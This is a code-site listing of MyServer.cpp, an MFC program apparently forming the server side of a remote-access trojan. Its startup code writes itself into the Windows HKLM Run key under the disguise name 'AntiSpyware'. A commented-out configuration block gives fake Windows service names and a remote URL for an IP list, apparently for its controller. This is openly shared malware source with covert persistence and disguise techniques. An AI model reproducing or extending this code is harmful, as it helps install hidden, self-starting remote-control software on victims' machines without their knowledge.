MyServer.cpp
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:3k
源码类别:

网络截获/分析

开发平台:

Visual C++

  1. // MyServer.cpp : Defines the class behaviors for the application.
  2. //
  3. #include "stdafx.h"
  4. #include "MyServer.h"
  5. #include "MyServerDlg.h"
  6. #include "comm.h"
  7. #define REGKEY "{E92B03AB-B707-11d2-9CBD-0000F87A3690}"
  8. /*
  9.  作者:海啸 lyyer English Name: Jack 
  10.   blog:http://lyyer.blog.sohu.com
  11.   website:http://www.cnGSG.com
  12.   海啸网络安全组织
  13. */
  14. #ifdef _DEBUG
  15. #define new DEBUG_NEW
  16. #undef THIS_FILE
  17. static char THIS_FILE[] = __FILE__;
  18. #endif
  19. /////////////////////////////////////////////////////////////////////////////
  20. // CMyServerApp
  21. BEGIN_MESSAGE_MAP(CMyServerApp, CWinApp)
  22. //{{AFX_MSG_MAP(CMyServerApp)
  23. // NOTE - the ClassWizard will add and remove mapping macros here.
  24. //    DO NOT EDIT what you see in these blocks of generated code!
  25. //}}AFX_MSG
  26. ON_COMMAND(ID_HELP, CWinApp::OnHelp)
  27. END_MESSAGE_MAP()
  28. /////////////////////////////////////////////////////////////////////////////
  29. // CMyServerApp construction
  30. CMyServerApp::CMyServerApp()
  31. {
  32. // TODO: add construction code here,
  33. // Place all significant initialization in InitInstance
  34. }
  35. /////////////////////////////////////////////////////////////////////////////
  36. // The one and only CMyServerApp object
  37. CMyServerApp theApp;
  38. /*
  39. MODIFY_DATA modify_data = 
  40. {
  41. 0xFFFFFF8D,
  42. "RemoteStorage",
  43. "Windows Accounts Driver",
  44. "Network Connections Management",
  45. "http://ahai2007.id666.com/user/ahai2007/disk/webdisk/lplist.txt",
  46. 80,
  47. };*/
  48. /////////////////////////////////////////////////////////////////////////////
  49. // CMyServerApp initialization
  50. BOOL CMyServerApp::InitInstance()
  51. {
  52. // 下面的代码防止程序重复被运行 //////////////////
  53. HANDLE hOneInstanceMutex = ::CreateMutex(NULL, FALSE, _T("MyServer_is_Running"));
  54. if(GetLastError() == ERROR_ALREADY_EXISTS)
  55. {
  56. hOneInstanceMutex = NULL;
  57. return FALSE;
  58. }
  59. //////////////////////////////////////////////////
  60. //写入注册表,开机自启动 
  61. HKEY hKey; 
  62. //找到系统的启动项 
  63. LPCTSTR lpRun = "Software\Microsoft\Windows\CurrentVersion\Run"; 
  64. //打开启动项Key 
  65. long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); 
  66. if(lRet == ERROR_SUCCESS) 
  67. char pFileName[MAX_PATH] = {0}; 
  68. //得到程序自身的全路径 
  69. DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH); 
  70. //添加一个子Key,并设置值 
  71. lRet = RegSetValueEx(hKey, "AntiSpyware", 0, REG_SZ, (BYTE *)pFileName, dwRet); 
  72. //关闭注册表 
  73. RegCloseKey(hKey); 
  74. if(lRet != ERROR_SUCCESS) 
  75. AfxMessageBox("系统参数错误,不能随系统启动"); 
  76. }  
  77. CMyServerDlg dlg;
  78. m_pMainWnd = &dlg;
  79. int nResponse = dlg.DoModal();
  80. //ShowWindow(dlg,SW_HIDE);
  81. if (nResponse == IDOK)
  82. {
  83. // TODO: Place code here to handle when the dialog is
  84. //  dismissed with OK
  85. }
  86. else if (nResponse == IDCANCEL)
  87. {
  88. // TODO: Place code here to handle when the dialog is
  89. //  dismissed with Cancel
  90. }
  91. AfxEnableControlContainer();
  92. // Standard initialization
  93. // If you are not using these features and wish to reduce the size
  94. //  of your final executable, you should remove from the following
  95. //  the specific initialization routines you do not need.
  96. #ifdef _AFXDLL
  97. Enable3dControls(); // Call this when using MFC in a shared DLL
  98. #else
  99. Enable3dControlsStatic(); // Call this when linking to MFC statically
  100. #endif
  101. // Since the dialog has been closed, return FALSE so that we exit the
  102. //  application, rather than start the application's message pump.
  103. return FALSE;
  104. }